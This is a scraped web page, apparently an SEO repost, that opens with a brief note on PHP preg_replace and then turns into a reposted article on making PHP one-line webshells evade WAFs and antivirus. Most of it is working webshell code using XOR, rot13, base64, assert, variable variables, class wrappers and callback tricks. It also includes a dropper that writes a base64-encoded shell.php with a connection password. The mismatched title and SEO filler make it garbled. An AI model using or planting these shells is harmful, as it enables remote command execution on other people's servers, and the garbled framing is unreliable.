替换php-腓荻更换

2023-08-21 0 4,867 百度已收录

什么是 PHP 正则表达式替换实现?首先,给大家介绍下PHPpreg_replace,使用PHPpreg_replace是我们实现它的方式,所以对于PHP正则表达式替换实现过程,我们从一个例子开始。

PHP 正则表达式替换的相关概念:

替换php-腓荻更换

preg_replace:执行正则表达式的搜索和替换

preg_replace:允许您替换与您的定义匹配的正则表达式中的字符串。

一个简单的注释删除功能:

preg_replace('[(/*)+.+(*/)]','',$val);

此代码使用 PHP 和 CSS 中的 /*comments*/ 格式删除多行注释。这三个参数是正则表达式、要替换的字符串和要替换的目标字符串(这里完成了删除功能,所以它是一个空字符串 - >'')。如果要匹配次要规则,则可以使用 $0 表示所有匹配项,使用 $1、$2 等来表示相应的辅助规则。

搜索一个

匹配主题中的图案图案并将其替换为替换。如果指定了限制,则仅替换限制匹配项替换php,如果省略限制或其值为 -1,则替换所有匹配项。

替换可以包含对 //n 模式或(从 PHP 4.0.4 开始)$n模式的反向引用,最好是前者。每个此类引用都将替换为与第 n 个捕获括号内的子模式匹配的文本。n 可以是 0 到 99,其中 //0 或 $0 表示与整个模式匹配的文本。从左到右(从 1 开始)计算左圆括号以获得子模式的数量。

替换php-腓荻更换

当反向引用前面有一个数字(即替换php,紧接在匹配模式之前的数字)时,不能使用熟悉的 //1 作为替换模式

)。

普通一句话木马(适用于CTF及小型网站)


//函数的相似替换

与第一个单句木马相比,我们发现该字符的含义是抑制php句型中的错误信息,即使有错误也不返回; 属于不太重要的“组件”,书写位置比较灵活; 它可以在 eval 函数后面,也可以在 post 函数上面......

然后我们看第二段代码,发现它把eval函数换成了assert函数; 此时,我们通过查看PHP指南(友情链接)发现以下差异:

可以考虑使用assert函数来代替eval函数php 加密,因为eval函数太敏感了! ! ! 这时候大师又会问:还有哪些敏感功能呢? 这就太多了(例如:system、post、get……),所以我们可以根据加壳的本质来获取更多,混淆和加密是两种久经考验的方法。

温馨提示:只有php一个字的木马还可以执行其他命令! (

  

)因此,不一定要用POST函数,GET函数也是可以的! (注意:get函数只能向服务器请求信息,所以只能与命令执行绑定!)

php的打包(字符串打包思路)

字符串异或加密

字符串基族加密

字符串rot13加密

字符串连接

PHP打包的异或打包

大多数情况下,开发者为了方便自己的需求,会用“黑名单”的形式去掉很多敏感功能,以达到一个看似新颖且相对安全的目的,却殊不知由于这些粗心的想法,把整个系统面临极大风险; 攻击者在前几年就遇到过这些情况。 加密可用于解决大多数问题(例如:XOR 加密、基族加密、URL 加密...)。 所以我们常说:白名单>WAF>黑名单!

“^”是异或运算符。 在PHP中,当两个变量进行异或运算时,会将字符串转换为二进制,然后进行异或运算。 异或运算后,结果将由二进制转换为字符串(参考链接)

<?php
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
$_($___[_]);

<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
(''^'`')
${$__}[!$_](${$___}[$_]);
?>

替换php-腓荻更换

<?php
$__=('>'>''>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

提示:可以使用下面的PHP XOR脚本来解决生成函数的问题

<?php
$test = '~!@#$%^&*()_+|/?.,-={}[]';
for($i=0;$i<strlen($test);$i++){
for($j=0;$j<strlen($test);$j++){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '
';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '
';
}
}
}
?>

虽然简单方便,但是通过静态识别很容易被发现,这样我们的包装就会暴露。 为了继续wbshel​​l加壳,我们可以学习下面的加壳方法,并进行组合! 从而达到绕过WAF和php禁用功能的目的!

php 加壳器的 Base Family 加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这种方法没有什么特别的好处,但是可以尝试用base16或base32配合其他方法使用,效果不错!

php 加壳器的 rot13 加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行了加密,即“riny”(通过这些方法可以绕过函数的正则匹配)!

虽然恐吓等级很高,但是我们可以作用于其他加壳者,一定程度上提高回避率! (但是下面这个被杀了,我不明白,难道是格式的原因?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>

php打包的拼接打包


我们可以将敏感函数进行拆分,然后进行简单的敏感函数打包! 其次,还可以使用下面的arry链表结构函数来进行装箱。

替换php-腓荻更换

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>

也就是说,我们只需要用rot13对PSOT函数进行加密即可; 或者考虑变量替换(但根据D盾的测算,效果可能并不比加密好)!

php加壳器混淆加壳器

<?php 
function a()
{
return "/*110110110110*/".$_POST['110']."/*110110110110**/";
}
@eval(a());
?>

简单的字符串变化就直接被杀死,所以我们还需要配合其他无用的字符来混淆视听,从而提高加壳的功效!


这里多少句,为了防止被测,可以参考文件上传的原理(关键是想办法造成溢出),这样做的后果是文件会变大,但是是适合与图片马一起使用。

php的打包(函数特性的打包思路)

功能替换

自定义函数绕过

变形回弹

大批

可变变量

php加壳器的功能替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter():通过函数过滤掉数组中的元素

array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc():比较两个数组的键名和键值,并返回交集

array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

替换php-腓荻更换

如果成功,该函数返回 TRUE。 失败时返回 FALSE。

xml_set_unparsed_entity_decl_handler():该函数指定遇到未解析实体名称(NDATA)声明时要调用的函数。 如果处理程序成功构造,则该函数返回 true; 否则,返回 false。

尝试去PHP句型指南找到一些极其偏颇的函数......

php加壳器自定义函数绕过(可匹配大小写)

<?php 
function aaa($a){
return $a;
}
function bbb($b){
return eval($b);
}
function post(){
return @$_POST['110'];
}
function run(){
return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>

我们可以通过我们自定义的函数形式,绕过WAF的拦截,配合php版本和可替换的函数,达到加壳的目的! 由于PHP函数中函数名、方法名、类名不区分大小写,因此建议使用与定义相同的名称,这样也可以提示绕过大小写,这样加壳的效果就大大提高了!

php加壳器加组合绕过的反弹功能

array_walk()  
array_map()
filter_var()
filter_var_array()
uasort()
uksort()

以上是常用的可以替换的函数,但是大部分都被杀掉了,所以需要先混淆一下才可以使用!

php加壳器的字段绕过

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

php加壳器的变量变量

PHP中有一种变量称为可变变量,它不是基本类型的变量。 可变变量意味着普通变量的值可以用作另一个变量的名称。 这句话听起来有点具体。 我们可以通过例子来演示可变变量的定义和实用性。

<?php 
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>

这时候我们就可以利用一些多重加密的手段,对eval函数进行多重加密,就达到了完全加壳的结果!

替换php-腓荻更换

PHP的加壳使用类来绕过加壳

等级是现在大多数人的共同选择之一,因为等级的技术在通过D-shield测量时效率更高; 但使用类自然需要魔法函数。 我们简单的构造一个类的加壳器如下:

<?php 
class zeo2
{
public $b ='';
function post(){
return $_POST['x'];
}
}
class zeo extends zeo2
{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>

php的打包(根据PHP版本差异打包)

不用说,传统的php加壳无非就是各种变种和获取外部参数。 对于一些高级的waf和防火墙来说,无论怎么解析,最终都会到达命令执行的地方,但如果句型报错,则可能会导致解析失败。 下面介绍几种使用php版本出现语义错误的php命令执行方法。

1、使用特殊符号导致错误


PHP版本:仅限5.2版本

其要求是能够干扰杀毒软件的规律性判断php 加密,并且代码也能够被执行。 这个可以自己逐步测试。具体来说,借助各种类型的回车、换行、空字符和空白字符,这里尝试将其改造成一个可以连接的一句话木马,并配合先前的变量变量

<?php 
$xxxxxxxxxxxxxx='miansha';
$$xxxxxxxxxxxxxx=$_POST['110'];
eval(``.$miansha);
?>

2. 十六进制字符串

PHP版本:仅限5.3和5.5版本; 在php7中它不被认为是一个数字,但在php5中它仍然是一个数字。 (友情提醒:5.X可以成功执行命令,但php7不能)



提示:对于我们来说,我们可以结合垃圾数据、变形混乱以及大量的特殊字符和注释来构造更多的有效负载。 毕竟每个公司都有不同的WAF规则和配置,是结合一些传输级旁路而形成的。 可能性极其多样。

3、使用不换行的句型执行命令

PHP版本:只限于7.3.4版本,如果是其他版本就会报错,所以更有针对性!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

提示:对于?? 7.0版本的特性,如果是5.x版本,仍然会报错。 还可以结合其他一些方法!

PHP一句话加壳实例

我会派一些包装机过去给你!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110

另外,我附上一匹小马,希望大家一起集思广益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

用一句话概括

本文的目的是让您对一句话木马加壳有一定的了解。 随着包装对抗越来越激烈,我们不得不发散思维。 这一次,我就是抛砖引玉的人了。 如果有什么意见可以在评论区交流!

其他参考:

PHP WebShell反杀:et/qq_35029061/article/details/126091870

PHP案例分析:

作者:面包and牛奶 原文地址:https://www.freebuf.com/articles/web/343192.html

星 球 免 费 福 利



 转发公众号本文到朋友圈

 截图到公众号后台第1、3、5名获取免费进入星球


星球的最近主题和星球内部工具一些展示






欢 迎 加 入 星 球 !

关 注 有 礼



关注下方公众号回复“666”可以领取一套精品渗透测试工具集和百度云视频链接。

 还在等什么?赶紧点击下方名片关注学习吧!





群聊 | 技术交流群-群除我佬


干货|史上最全一句话木马


干货 | CS绕过vultr特征检测修改算法


实战 | 用中国人写的红队服务器搞一次内网穿透练习


实战 | 渗透某培训平台经历


实战 | 一次曲折的钓鱼溯源反制


免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悟空资源网 php 替换php-腓荻更换 https://www.wkzy.net/game/129589.html

常见问题

相关文章

官方客服团队

为您解决烦忧 - 24小时在线 专业服务